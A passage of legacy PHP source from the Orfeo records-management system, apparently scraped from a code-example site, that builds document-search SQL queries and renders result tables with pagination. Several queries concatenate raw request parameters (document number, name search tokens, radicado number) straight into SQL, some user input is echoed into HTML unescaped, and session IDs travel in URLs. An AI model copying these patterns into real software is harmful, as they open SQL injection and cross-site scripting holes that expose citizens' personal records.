        $sWhere = $sWhere . "r.radi_depe_actu=" . $ps_RADI_DEPE_ACTU;
    }
    // Se recibe el nmero del radicado para bsqueda
    $ps_RADI_NUME_RADI = trim($_GET["s_RADI_NUME_RADI"]);
    if (!$ps_RADI_NUME_RADI) {
        $ps_RADI_NUME_RADI = "2";
    }
    $ps_DOCTO = $_GET["s_DOCTO"];
    if (strlen($ps_RADI_NUME_RADI) != 14) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "cast(r.radi_nume_radi as varchar(15)) like " . tosql("%" . trim($ps_RADI_NUME_RADI) . "%", "Text");
    }
    if (strlen($ps_RADI_NUME_RADI) == 14) {
        //$sWhere.=" and ";
        $HasParam = true;
        $sWhere .= "r.radi_nume_radi=" . $ps_RADI_NUME_RADI;
    }
    if (strlen($ps_DOCTO)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . " dir.SGD_DIR_DOC = '{$ps_DOCTO}' ";
    }
    /**
     * Se recibe el numero del expediente para busqueda
     * Fecha de modificacion: 30-Junio-2006
     * Modificador: Supersolidaria
     */
    $ps_SGD_EXP_SUBEXPEDIENTE = $_GET["s_SGD_EXP_SUBEXPEDIENTE"];
    if (strlen($ps_SGD_EXP_SUBEXPEDIENTE) != 0) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . " R.RADI_NUME_RADI = EXP.RADI_NUME_RADI";
        $sWhere = $sWhere . " AND EXP.SGD_EXP_NUMERO = SEXP.SGD_EXP_NUMERO";
        /**
         * No se tienen en cuenta los radicados que han sido excluidos de un expediente.
         * Fecha de modificacion: 12-Septiembre-2006
         * Modificador: Supersolidaria
         */
        $sWhere = $sWhere . " AND EXP.SGD_EXP_ESTADO <> 2";
        $sWhere = $sWhere . " AND ( EXP.SGD_EXP_NUMERO LIKE '%" . str_replace('\'', '', tosql(trim($ps_SGD_EXP_SUBEXPEDIENTE), "Text")) . "%'";
        $sWhere = $sWhere . " OR SEXP.SGD_SEXP_PAREXP1 LIKE UPPER( '%" . str_replace('\'', '', tosql(trim($ps_SGD_EXP_SUBEXPEDIENTE), "Text")) . "%' )";
        $sWhere = $sWhere . " OR SEXP.SGD_SEXP_PAREXP2 LIKE UPPER( '%" . str_replace('\'', '', tosql(trim($ps_SGD_EXP_SUBEXPEDIENTE), "Text")) . "%' )";
        $sWhere = $sWhere . " OR SEXP.SGD_SEXP_PAREXP3 LIKE UPPER( '%" . str_replace('\'', '', tosql(trim($ps_SGD_EXP_SUBEXPEDIENTE), "Text")) . "%' )";
        $sWhere = $sWhere . " OR SEXP.SGD_SEXP_PAREXP4 LIKE UPPER( '%" . str_replace('\'', '', tosql(trim($ps_SGD_EXP_SUBEXPEDIENTE), "Text")) . "%' )";
        $sWhere = $sWhere . " OR SEXP.SGD_SEXP_PAREXP5 LIKE UPPER( '%" . str_replace('\'', '', tosql(trim($ps_SGD_EXP_SUBEXPEDIENTE), "Text")) . "%' )";
        $sWhere = $sWhere . " )";
    }
    // Se decide si busca en radicado de entrada o de salida o ambos
    $ps_entrada = strip($_GET["s_entrada"]);
    $eLen = strlen($ps_entrada);
    $ps_salida = strip($_GET["s_salida"]);
    $sLen = strlen($ps_salida);
    if ($ps_entrada != "9999") {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "cast(r.radi_nume_radi as varchar(15)) like " . tosql("%" . trim($ps_entrada), "Text");
    }
    // Se recibe el tipo de documento para la busqueda
    $ps_TDOC_CODI = $_GET["s_TDOC_CODI"];
    if (is_number($ps_TDOC_CODI) && strlen($ps_TDOC_CODI) && $ps_TDOC_CODI != "9999") {
        $ps_TDOC_CODI = tosql($ps_TDOC_CODI, "Number");
    } else {
        $ps_TDOC_CODI = "";
    }
    if (strlen($ps_TDOC_CODI)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "r.tdoc_codi=" . $ps_TDOC_CODI;
    }
    // Se recibe la caadena a buscar y el tipo de busqueda (All) (Any)
    $ps_RADI_NOMB = strip($_GET["s_RADI_NOMB"]);
    $ps_solo_nomb = $_GET["s_solo_nomb"];
    $yaentro = false;
    if (strlen($ps_RADI_NOMB)) {
        if ($sWhere != "") {
            $sWhere .= " and (";
        }
        $HasParam = true;
        $sWhere .= " ";
        $ps_RADI_NOMB = strtoupper($ps_RADI_NOMB);
        $tok = strtok($ps_RADI_NOMB, " ");
        $sWhere .= "(";
        while ($tok) {
            $sWhere .= "";
            if ($yaentro == true) {
                $sWhere .= " and ";
            }
            $sWhere .= "UPPER(dir.sgd_dir_nomremdes) LIKE '%" . $tok . "%' ";
            $tok = strtok(" ");
            $yaentro = true;
        }
        $sWhere .= ") or (";
        $tok = strtok($ps_RADI_NOMB, " ");
        $yaentro = false;
        while ($tok) {
            $sWhere .= "";
            if ($yaentro == true) {
                $sWhere .= " and ";
            }
            $sWhere .= "UPPER(dir.sgd_dir_nombre) LIKE '%" . $tok . "%' ";
            $tok = strtok(" ");
            $yaentro = true;
        }
        $sWhere .= ") or (";
        $yaentro = false;
        $tok = strtok($ps_RADI_NOMB, " ");
        if ($yaentro == true) {
            $sWhere .= " and (";
        }
        $sWhere .= "UPPER(" . $db->conn->Concat("r.ra_asun", "r.radi_cuentai", "dir.sgd_dir_telefono", "dir.sgd_dir_direccion") . ") LIKE '%" . $ps_RADI_NOMB . "%' ";
        $tok = strtok(" ");
        if ($yaentro == true) {
            $sWhere .= ")";
        }
        $yaentro = true;
        $sWhere .= "))";
    }
    if (strlen($ps_RADI_NOMB) && $ps_solo_nomb == "AllTTT") {
        if ($sWhere != "") {
            $sWhere .= " AND (";
        }
        $HasParam = true;
        $sWhere .= " ";
        $ps_RADI_NOMB = strtoupper($ps_RADI_NOMB);
        $tok = strtok($ps_RADI_NOMB, " ");
        $sWhere .= "(";
        $sWhere .= "";
        if ($yaentro == true) {
            $sWhere .= " AND ";
        }
        $sWhere .= "UPPER(dir.sgd_dir_nomremdes) LIKE '%" . $ps_RADI_NOMB . "%' ";
        $tok = strtok(" ");
        $yaentro = true;
        $sWhere .= ") OR (";
        $tok = strtok($ps_RADI_NOMB, " ");
        $yaentro = false;
        $sWhere .= "";
        if ($yaentro == true) {
            $sWhere .= " AND ";
        }
        $sWhere .= "UPPER(dir.sgd_dir_nombre) LIKE '%" . $ps_RADI_NOMB . "%' ";
        $tok = strtok(" ");
        $yaentro = true;
        $sWhere .= ") OR (";
        $yaentro = false;
        $tok = strtok($ps_RADI_NOMB, " ");
        if ($yaentro == true) {
            $sWhere .= " AND (";
        }
        $sWhere .= "UPPER(" . $db->conn->Concat("r.ra_asun", "r.radi_cuentai", "dir.sgd_dir_telefono", "dir.sgd_dir_direccion") . ") LIKE '%" . $ps_RADI_NOMB . "%' ";
        echo " kkkk {$ps_RADI_NOMB}";
        $tok = strtok(" ");
        if ($yaentro == true) {
            $sWhere .= ")";
        }
        $yaentro = true;
        $sWhere .= "))";
    }
    if ($HasParam) {
        $sWhere = " AND (" . $sWhere . ") ";
    }
    // Build base SQL statement
    require_once "../include/query/busqueda/busquedaPiloto1.php";
    $sSQL = "SELECT " . $radi_nume_radi . " AS RADI_NUME_RADI," . $db->conn->SQLDate('Y-m-d H:i:s', 'R.RADI_FECH_RADI') . " AS RADI_FECH_RADI,\n                                                            r.RA_ASUN, \n                                                            td.sgd_tpr_descrip, " . $redondeo . " as diasr,\n                                                            r.RADI_NUME_HOJA, \n                                                            r.RADI_PATH, \n                                                            dir.SGD_DIR_DIRECCION, \n                                                            dir.SGD_DIR_MAIL,\n                                                            dir.SGD_DIR_NOMREMDES, \n                                                            dir.SGD_DIR_TELEFONO, \n                                                            dir.SGD_DIR_DIRECCION,\n                                                            dir.SGD_DIR_DOC, \n                                                            r.RADI_USU_ANTE, \n                                                            r.RADI_PAIS, \n                                                            dir.SGD_DIR_NOMBRE,\n                                                            dir.SGD_TRD_CODIGO, \n                                                            r.RADI_DEPE_ACTU, \n                                                            r.RADI_USUA_ACTU, \n                                                            r.CODI_NIVEL, \n                                                            r.SGD_SPUB_CODIGO";
    /**
     * Busqueda por parameto del expediente
     * Fecha de modificacion: 11-Agosto-2006
     * Modificador: Supersolidaria
     */
    if (strlen($ps_SGD_EXP_SUBEXPEDIENTE) != 0) {
        $sSQL .= " ,EXP.SGD_EXP_NUMERO";
    }
    $sSQL .= " FROM sgd_dir_drecciones dir, radicado r, sgd_tpr_tpdcumento td";
    /**
     * Busqueda por expediente
     * Fecha de modificacion: 30-Junio-2006
     * Modificador: Supersolidaria
     */
    if (strlen($ps_SGD_EXP_SUBEXPEDIENTE) != 0) {
        $sSQL .= ", SGD_EXP_EXPEDIENTE EXP, SGD_SEXP_SECEXPEDIENTES SEXP";
    }
    $sSQL .= " WHERE dir.sgd_dir_tipo = 1 AND dir.RADI_NUME_RADI=r.RADI_NUME_RADI AND r.TDOC_CODI=td.SGD_TPR_CODIGO";
    //SE QUITA " AND r.CODI_NIVEL <=$nivelus "
    $sSQL .= $sWhere . $whereTrd . $sOrder;
    // $db->conn->debug=true;
    //-------------------------------
    // Execute SQL statement
    //-------------------------------
    //$db->conn->SetFetchMode(ADODB_FETCH_ASSOC);
    // print $sSQL;
    $rs = $db->conn->query($sSQL);
    $db->conn->SetFetchMode(ADODB_FETCH_NUM);
    //echo "<hr>$sSQL<hr>";
    //include "rp.php";
    //echo"<a href='rp.php?rs='.$rs.' class=\"vinculos\">1.Archivo </a>";echo "2222222222222222222222222222222222";
    function array_envia($db)
    {
        $tmp = serialize($array);
        $tmp = urlencode($tmp);
        return $tmp;
    }
    $array = $sSQL;
    $array = serialize($array);
    //var_dump ($array);
    //$array=array_envia($array);
    $_SESSION['array'] = $array;
    ?>
<!--<form action="rp.php" method="POST">
    <input name="array" type="hidden" value="<?php 
    echo $array;
    ?>
">    
    <input name="enviar" type="submit" value=" Enviar "> 
</form>    -->

 <form action="rptxt.php" method="POST">
<!--    <input name="array" type="hidden" value="<?php 
    echo $array;
    ?>
">     -->
    <input name="enviar" type="submit" value="Listado en Editor de Texto  ">
</form>  

<!-- <form action="rpxml.php" method="POST">
    <input name="array" type="hidden" value="<?php 
    echo $array;
    ?>
">     
    <input name="enviar" type="submit" value="Listado en xml  ">
</form> --> 
 <form action="rpxml.php" method="POST">
<!--    <input name="array" type="hidden" value="<?php 
    echo $array;
    ?>
">     -->
    <input name="enviar" type="submit" value="Listado en Hoja de Calculo ">
</form>  

<?php 
    //-------------------------------
    // Process empty recordset
    //-------------------------------
    if ($rs->EOF || !$rs) {
        ?>
     <tr>
      <td colspan="20" class="alarmas">No hay resultados</td>
     </tr>
    <tr>
     <td colspan="20" class="ColumnTD"><font class="ColumnFONT">
  </table>
<?php 
        return;
    }
    ?>
     <!--tr>
      <td colspan="10" class="DataTD"><b>Total Registros Encontrados: <?php 
    echo $fldTotal;
    ?>
</b></td>
     </tr-->
<?php 
    //-------------------------------
    // Initialize page counter and records per page
    //-------------------------------
    $iCounter = 0;
    //-------------------------------
    //-------------------------------
    // Process page scroller
    //-------------------------------
    $iPage = $_GET["FormCIUDADANO_Page"];
    //print ("<BR>($iPage)($iRecordsPerPage)");
    if (strlen(trim($iPage)) == 0) {
        $iPage = 1;
    } else {
        if ($iPage == "last") {
            $db_count = get_db_value($sCountSQL);
            $dResult = intval($db_count) / $iRecordsPerPage;
            $iPage = intval($dResult);
            if ($iPage < $dResult) {
                $iPage++;
            }
        } else {
            $iPage = intval($iPage);
        }
    }
    if (($iPage - 1) * $iRecordsPerPage != 0) {
        //print ("<BR>($iPage)($iRecordsPerPage)");
        do {
            $iCounter++;
            $rs->MoveNext();
            //print("Entra......");
        } while ($iCounter < ($iPage - 1) * $iRecordsPerPage && (!$rs->EOF && $rs));
    }
    $iCounter = 0;
    //$ruta_raiz ="..";
    //include "../config.php";
    //include "../jh_class/funciones_sgd.php";
    //-------------------------------
    // Display grid based on recordset
    //-------------------------------.
    $i = 1;
    while (!$rs->EOF && $rs && $iCounter < $iRecordsPerPage) {
        //-------------------------------
        // Create field variables based on database fields
        //-------------------------------
        $fldRADI_NUME_RADI = $rs->fields['RADI_NUME_RADI'];
        $fldRADI_FECH_RADI = $rs->fields['RADI_FECH_RADI'];
        /**
         *Busqueda por expediente
         *Fecha de modificacion: 11-Agosto-2006
         *Modificador: Supersolidaria
         */
        $fldsSGD_EXP_SUBEXPEDIENTE = $rs->fields['SGD_EXP_NUMERO'];
        $fldASUNTO = $rs->fields['RA_ASUN'];
        $fldTIPO_DOC = $rs->fields['SGD_TPR_DESCRIP'];
        $fldNUME_HOJAS = $rs->fields['RADI_NUME_HOJA'];
        $fldRADI_PATH = $rs->fields['RADI_PATH'];
        $fldDIRECCION_C = $rs->fields['SGD_DIR_DIRECCION'];
        $fldDIGNATARIO = $rs->fields['SGD_DIR_NOMBRE'];
        $fldTELEFONO_C = $rs->fields['SGD_DIR_TELEFONO'];
        $fldMAIL_C = $rs->fields['SGD_DIR_MAIL'];
        $fldNOMBRE = $rs->fields['SGD_DIR_NOMREMDES'];
        $fldCEDULA = $rs->fields['SGD_DIR_DOC'];
        //$fldUSUA_ACTU = $rs->fields['NOMB_ACTU") . " - (" . $rs->fields['LOGIN_ACTU").")";
        $aRADI_DEPE_ACTU = $rs->fields['RADI_DEPE_ACTU'];
        //echo $aRADI_DEPE_ACTU;
        $aRADI_USUA_ACTU = $rs->fields['RADI_USUA_ACTU'];
        $fldUSUA_ANTE = $rs->fields['RADI_USU_ANTE'];
        $fldPAIS = $rs->fields['RADI_PAIS'];
        $fldDIASR = $rs->fields['DIASR'];
        $tipoReg = $rs->fields['SGD_TRD_CODIGO'];
        $nivelRadicado = $rs->fields['CODI_NIVEL'];
        $seguridadRadicado = $rs->fields['SGD_SPUB_CODIGO'];
        $nivelExp = $rs->fields['SGD_EXP_PRIVADO'];
        if ($tipoReg == 1) {
            $tipoRegDesc = "Ciudadano";
        }
        if ($tipoReg == 2) {
            $tipoRegDesc = "Empresa";
        }
        if ($tipoReg == 3) {
            $tipoRegDesc = "Entidad";
        }
        if ($tipoReg == 4) {
            $tipoRegDesc = "Funcionario";
        }
        $fldNOMBRE = str_replace($ps_RADI_NOMB, "<font color=green><b>{$ps_RADI_NOMB}</b>", tohtml($fldNOMBRE));
        $fldASUNTO = str_replace($ps_RADI_NOMB, "<font color=green><b>{$ps_RADI_NOMB}</b>", tohtml($fldASUNTO));
        //-------------------------------
        // Busquedas Anidadas
        //-------------------------------
        $queryDep = "select DEPE_NOMB from dependencia where DEPE_CODI={$aRADI_DEPE_ACTU}";
        $db->conn->SetFetchMode(ADODB_FETCH_ASSOC);
        $rs2 = $db->query($queryDep);
        $fldDEPE_ACTU = $rs2->fields['DEPE_NOMB'];
        $queryUs = "select USUA_NOMB, USUA_DOC, DEPE_CODI from USUARIO where DEPE_CODI={$aRADI_DEPE_ACTU} and USUA_CODI={$aRADI_USUA_ACTU} ";
        $rs3 = $db->query($queryUs);
        $nivelExp = 0;
        if ($fldsSGD_EXP_SUBEXPEDIENTE) {
            $queryExp = "select sexp.SGD_EXP_PRIVADO, sexp.DEPE_CODI, sexp.USUA_DOC_RESPONSABLE\n\t\tfrom SGD_SEXP_SECEXPEDIENTES sexp \n\t       where sexp.SGD_EXP_NUMERO='{$fldsSGD_EXP_SUBEXPEDIENTE}' ";
            $rs4 = $db->query($queryExp);
            $nivelExp = $rs4->fields['SGD_EXP_PRIVADO'];
            $fldDEPE_CODI_ACTU = $rs4->fields['DEPE_CODI'];
            $fldUSUA_DOC_ACTU = $rs4->fields['USUA_DOC_RESPONSABLE'];
        }
        $fldUSUA_ACTU = $rs3->fields['USUA_NOMB'];
        $db->conn->SetFetchMode(ADODB_FETCH_NUM);
        include_once '../include/tx/Radicacion.php';
        $radicacion = new Radicacion($db);
        if ($fldRADI_NUME_RADI != "") {
            $db->conn->SetFetchMode(ADODB_FETCH_ASSOC);
            $arrAnexos = $radicacion->getRadImpresos($fldRADI_NUME_RADI);
            $db->conn->SetFetchMode(ADODB_FETCH_NUM);
        }
        if ($arrAnexos[0] != 0) {
            $clase = "impresos";
            $clasevinc = "impresosvinc";
        } else {
            $clase = "leidos";
            $clasevinc = "vinculos";
        }
        $linkDocto = "<a class='vinculos' href='javascript:noPermiso()' >";
        $linkInfGeneral = "<a class='vinculos' href='javascript:noPermiso()'>";
        //if  ($nivelRadicado <=$nivelus)
        //{
        $linkDocto = "<a class='{$clase}' href='../bodega/{$fldRADI_PATH}' target='Imagen{$iii}'>";
        $linkInfGeneral = "<a class='{$clase}' href='../verradicado.php?verrad={$fldRADI_NUME_RADI}&" . session_name() . '=' . session_id() . "&carpeta=8&nomcarpeta=Busquedas&tipo_carp=0'>";
        //}
        $verImg = true;
        $verImg = $seguridadRadicado == 1 ? $fldUSUA_ACTU != $_SESSION['usua_nomb'] ? false : true : ($nivelRadicado > $nivelus ? false : true);
        //$verImg= $verImg && !($fila['SGD_SPUB_CODIGO']==1);
        //$verImg=( $nivelExp>=1)?($fldDEPE_CODI_ACTU!=$_SESSION['depe_codi']?false:true):($fldUSUA_DOC_ACTU !=$_SESSION['usua_doc']?false:true);
        //echo $nivelExp .">=1 &&". $fldDEPE_CODI_ACTU ." != ".$_SESSION['dependencia'];
        if ($fldsSGD_EXP_SUBEXPEDIENTE) {
            if ($nivelExp >= 1 && $fldDEPE_CODI_ACTU != $_SESSION["dependencia"]) {
                if ($fldUSUA_DOC_ACTU == $_SESSION['usua_doc'] || $_SESSION['codusuario'] == 1) {
                    $verImg = true;
                } else {
                    $verImg = false;
                }
            }
        }
        if ($verImg == true) {
            //Insertar Funcion para descargar archivo
            $ruta_archivo = $fldRADI_PATH;
            $arreglo_explode = explode('/', $ruta_archivo);
            foreach ($arreglo_explode as $value) {
                $nombre_archivo = preg_match('/.+\\.[a-z]+$/', $value, $rs_nombre) ? $rs_nombre[0] : null;
            }
            $enlace_descarga = '../descargar_archivo.php?' . 'ruta_archivo=' . $ruta_archivo . '&nombre_archivo=' . $nombre_archivo . '&from=consulta' . '&radicado=' . $fldRADI_NUME_RADI;
            $linkDocto = isset($ruta_archivo) ? "<a class='{$clasevinc}' href='{$enlace_descarga}'>" : $linkDocto;
            $enlace_ver_radi = '../verradicado.php?verrad=' . $fldRADI_NUME_RADI . '&' . session_name() . '=' . session_id() . '&carpeta=8' . '&nomcarpeta=Busquedas' . '&tipo_carp=0' . '&from=consulta';
            $linkInfGeneral = "<a class='{$clasevinc}' href='{$enlace_ver_radi}'>";
        } else {
            $linkDocto = '';
            $linkInfGeneral = "<a ><img src='../imagenes/candado.gif' width=10>";
        }
        if (strlen($ps_SGD_EXP_SUBEXPEDIENTE) == 0) {
            $consultaExpediente = "SELECT SGD_EXP_NUMERO \n                      FROM SGD_EXP_EXPEDIENTE\n                      WHERE radi_nume_radi = {$fldRADI_NUME_RADI} AND\n                            sgd_exp_fech=(SELECT MIN(SGD_EXP_FECH) AS minFech\n                                          from sgd_exp_expediente\n                                          where radi_nume_radi= {$fldRADI_NUME_RADI})";
            $rsE = $db->conn->query($consultaExpediente);
            $fldsSGD_EXP_SUBEXPEDIENTE = $rsE->fields[0];
        }
        // Process the HTML controls
        if ($i == 1) {
            $formato = "listado1";
            $i = 2;
        } else {
            $formato = "listado2";
            $i = 1;
        }
        ?>
	<tr class="<?php 
        echo $formato;
        ?>
">
	<?php 
        if ($indiVinculo == 1) {
            ?>
	   <td class="<?php 
            echo $clase;
            ?>
" align="center" width="70">
	   <A href="javascript:pasar_datos('<?php 
            echo $fldRADI_NUME_RADI;
            ?>
');" >
	     Vincular
		</td>
	  <?php 
        }
        if ($indiVinculo == 2) {
            ?>
	   <td class="<?php 
            echo $clase;
            ?>
" align="center" width="70">
	   <A href="javascript:pasar_datos('<?php 
            echo $fldsSGD_EXP_SUBEXPEDIENTE;
            ?>
',2);" >
	     Vincular
		</td>

	  <?php 
        }
        ?>
	<td class="<?php 
        echo $clase;
        ?>
">
		<?php 
        if (strlen($fldRADI_PATH) && $verImg) {
            $iii = $iii + 1;
            ?>
  <?php 
            echo $linkDocto;
        }
        ?>
		<?php 
        echo $fldRADI_NUME_RADI;
        ?>
		<?php 
        if (strlen($fldRADI_PATH)) {
            ?>
</a><?php 
        }
        ?>
&nbsp;
	</td>
	<td class="<?php 
        echo $clase;
        ?>
"><?php 
        echo $linkInfGeneral;
        ?>
	<?php 
        echo tohtml($fldRADI_FECH_RADI);
        ?>
&nbsp;</a></td>
    <!--
    B�squeda por expediente
    Fecha de modificaci�n: 11-Agosto-2006
    Modificador: Supersolidaria
    -->
    <td class="<?php 
        echo $clase;
        ?>
">
    <?php 
        echo $fldsSGD_EXP_SUBEXPEDIENTE;
        ?>
&nbsp;</td>

	<td class="<?php 
        echo $clase;
        ?>
">
	<?php 
        echo $fldASUNTO;
        ?>
&nbsp;</td>
	<td class="<?php 
        echo $clase;
        ?>
">
	<?php 
        echo tohtml($fldTIPO_DOC);
        ?>
&nbsp;</td>
	<td class="<?php 
        echo $clase;
        ?>
">
	<?php 
        echo $tipoRegDesc;
        ?>
&nbsp;</td>
	<td class="<?php 
        echo $clase;
        ?>
">
	<?php 
        echo tohtml($fldNUME_HOJAS);
        ?>
&nbsp;</td>
	<td class="<?php 
        echo $clase;
        ?>
">
	<?php 
        echo tohtml($fldDIRECCION_C);
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        echo tohtml($fldTELEFONO_C);
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        echo tohtml($fldMAIL_C);
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        echo tohtml($fldDIGNATARIO);
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        echo $fldNOMBRE;
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        echo tohtml($fldCEDULA);
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        echo tohtml($fldUSUA_ACTU);
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        echo tohtml($fldDEPE_ACTU);
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        echo tohtml($fldUSUA_ANTE);
        ?>
&nbsp;</td>
		<td class="leidos">
	<?php 
        echo tohtml($fldPAIS);
        ?>
&nbsp;</td>
	<td class="leidos">
	<?php 
        if ($aRADI_DEPE_ACTU != 999) {
            echo tohtml($fldDIASR);
        } else {
            echo 'Sal';
        }
        ?>
&nbsp;</td>
	</tr>
	  <?php 
        $iCounter++;
        $rs->MoveNext();
    }
    //  Record navigator.
    ?>
<tr>
	<td colspan="20" class="ColumnTD"><font class="ColumnFONT">
<?php 
    // Navigation begin
    $bEof = $rs;
    if ($bEof && !$bEof->EOF || $iPage != 1) {
        $iCounter = 1;
        $iHasPages = $iPage;
        $sPages = "";
        $iDisplayPages = 0;
        $iNumberOfPages = 30;
        /* El nmero de paginas que aparecera en el navegador al pie de la pagina */
        while (!$rs->EOF && $rs && $iHasPages < $iPage + $iNumberOfPages) {
            if ($iCounter == $iRecordsPerPage) {
                $iCounter = 0;
                $iHasPages = $iHasPages + 1;
            }
            $iCounter++;
            $rs->MoveNext();
        }
        if (($rs->EOF || !$rs) && $iCounter > 1) {
            $iHasPages++;
        }
        if ($iHasPages - $iPage < intval($iNumberOfPages / 2)) {
            $iStartPage = $iHasPages - $iNumberOfPages;
        } else {
            $iStartPage = $iPage - $iNumberOfPages + intval($iNumberOfPages / 2);
        }
        if ($iStartPage < 0) {
            $iStartPage = 0;
        }
        for ($iPageCount = $iPageCount + 1; $iPageCount <= $iPage - 1; $iPageCount++) {
            $sPages .= "<a href=" . $sFileName . "?" . $form_params . $sSortParams . "FormCIUDADANO_Page=" . $iPageCount . "#RADICADO\"><font " . "class=\"ColumnFONT\"" . ">" . $iPageCount . "</a>&nbsp;";
            $iDisplayPages++;
        }
        $sPages .= "<font " . "class=\"paginacion\"" . "><b>" . $iPage . "</b>&nbsp;";
        $iDisplayPages++;
        $iPageCount = $iPage + 1;
        while ($iDisplayPages < $iNumberOfPages && $iStartPage + $iDisplayPages < $iHasPages) {
            $sPages .= "<a href=\"" . $sFileName . "?" . $form_params . $sSortParams . "FormCIUDADANO_Page=" . $iPageCount . "#RADICADO\"><font " . "class=\"ColumnFONT\"" . ">" . $iPageCount . "</a>&nbsp;";
            $iDisplayPages++;
            $iPageCount++;
        }
        if ($iPage == 1) {
            ?>
		<font class="paginacion">Primero
		<font class="paginacion">Anterior
<?php 
        } else {
            ?>
	<a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormCIUDADANO_Page=1#RADICADO"><font class="paginacion">Primero</a>
	<a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormCIUDADANO_Page=<?php 
            echo $iPage - 1;
            ?>
#RADICADO"><font class="paginacion">Anterior</a>
<?php 
        }
        echo "&nbsp;[&nbsp;" . $sPages . "]&nbsp;";
        if ($rs->EOF) {
            ?>
		<font class="ColumnFONT">Siguiente
		<font class="ColumnFONT">Ultimo
<?php 
        } else {
            ?>
		<a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormCIUDADANO_Page=<?php 
            echo $iPage + 1;
            ?>
#RADICADO"><font class="ColumnFONT">Siguiente</a>
<?php 
        }
    }
    ?>
	</td></tr>
</table>
<?php 
}

示例#11

文件： reporte.php 项目： kractos26/orfeo

function RADICADO_show()
{
    //-------------------------------
    // Initialize variables
    //-------------------------------
    global $db;
    global $sRADICADOErr;
    global $sFileName;
    global $styles;
    $sWhere = "";
    $sOrder = "";
    $sSQL = "";
    $sFormTitle = "Reporte";
    $HasParam = false;
    $bReq = true;
    $iRecordsPerPage = 2000;
    $iCounter = 0;
    $iSort = "";
    $iSorted = "";
    $sDirection = "";
    $sSortParams = "";
    $iTmpI = 0;
    $iTmpJ = 0;
    $sCountSQL = "";
    $transit_params = "";
    $form_params = "s_RADI_DEPE_RADI=" . tourl(get_param("s_RADI_DEPE_RADI")) . "&s_desde_RADI_FECH_RADI=" . tourl(get_param("s_desde_RADI_FECH_RADI")) . "&s_hasta_RADI_FECH_RADI=" . tourl(get_param("s_hasta_RADI_FECH_RADI")) . "&";
    //-------------------------------
    // Build ORDER BY statement
    //-------------------------------
    $sOrder = " order by R.RADI_NUME_RADI Asc";
    $iSort = get_param("FormRADICADO_Sorting");
    $iSorted = get_param("FormRADICADO_Sorted");
    if (!$iSort) {
        $form_sorting = "";
    } else {
        if ($iSort == $iSorted) {
            $form_sorting = "";
            $sDirection = " DESC";
            $sSortParams = "FormRADICADO_Sorting=" . $iSort . "&FormRADICADO_Sorted=" . $iSort . "&";
        } else {
            $form_sorting = $iSort;
            $sDirection = " ASC";
            $sSortParams = "FormRADICADO_Sorting=" . $iSort . "&FormRADICADO_Sorted=" . "&";
        }
        if ($iSort == 1) {
            $sOrder = " order by R.RADI_NUME_RADI" . $sDirection;
        }
        if ($iSort == 2) {
            $sOrder = " order by R.RA_ASUN" . $sDirection;
        }
        if ($iSort == 3) {
            $sOrder = " order by R.RADI_FECH_RADI" . $sDirection;
        }
        if ($iSort == 4) {
            $sOrder = " order by R.RADI_NUME_HOJA" . $sDirection;
        }
        if ($iSort == 5) {
            $sOrder = " order by R.RADI_DESC_ANEX" . $sDirection;
        }
    }
    //-------------------------------
    // HTML column headers
    //-------------------------------
    ?>
     
<table class="FormTABLE" width="715">
  <tr>
       <td class="FormHeaderTD" colspan="5"><a name="RADICADO"><font class="FormHeaderFONT"><?php 
    echo $sFormTitle;
    ?>
</font></a></td>
  </tr>
      
  <tr align="center"> 
    <td class="ColumnTD" height="25" width="85"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormRADICADO_Sorting=1&FormRADICADO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Radicado</font></a></td>
       
    <td class="ColumnTD" height="25" width="331"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormRADICADO_Sorting=2&FormRADICADO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Asunto</font></a></td>
       
    <td class="ColumnTD" width="110" height="25"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormRADICADO_Sorting=3&FormRADICADO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Fecha 
      Radicaci&oacute;n</font></a></td>
       
    <td class="ColumnTD" height="25" width="23"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormRADICADO_Sorting=4&FormRADICADO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT"># H</font></a>oj</td>
       
    <td width="142" height="25" class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormRADICADO_Sorting=5&FormRADICADO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Anexos</font></a></td>
  </tr>
<?php 
    //-------------------------------
    // Build WHERE statement
    //-------------------------------
    $ps_desde_RADI_FECH_RADI = get_param("s_desde_RADI_FECH_RADI");
    $ps_hora_inicial = get_param("s_hora_inicial");
    $ps_hora_final = get_param("s_hora_final");
    if (strlen($ps_desde_RADI_FECH_RADI) && strlen($ps_hora_inicial) && strlen($ps_hora_final)) {
        $ps_hora_final -= 1;
        $desde = $ps_desde_RADI_FECH_RADI . " " . $ps_hora_inicial . ":00:00";
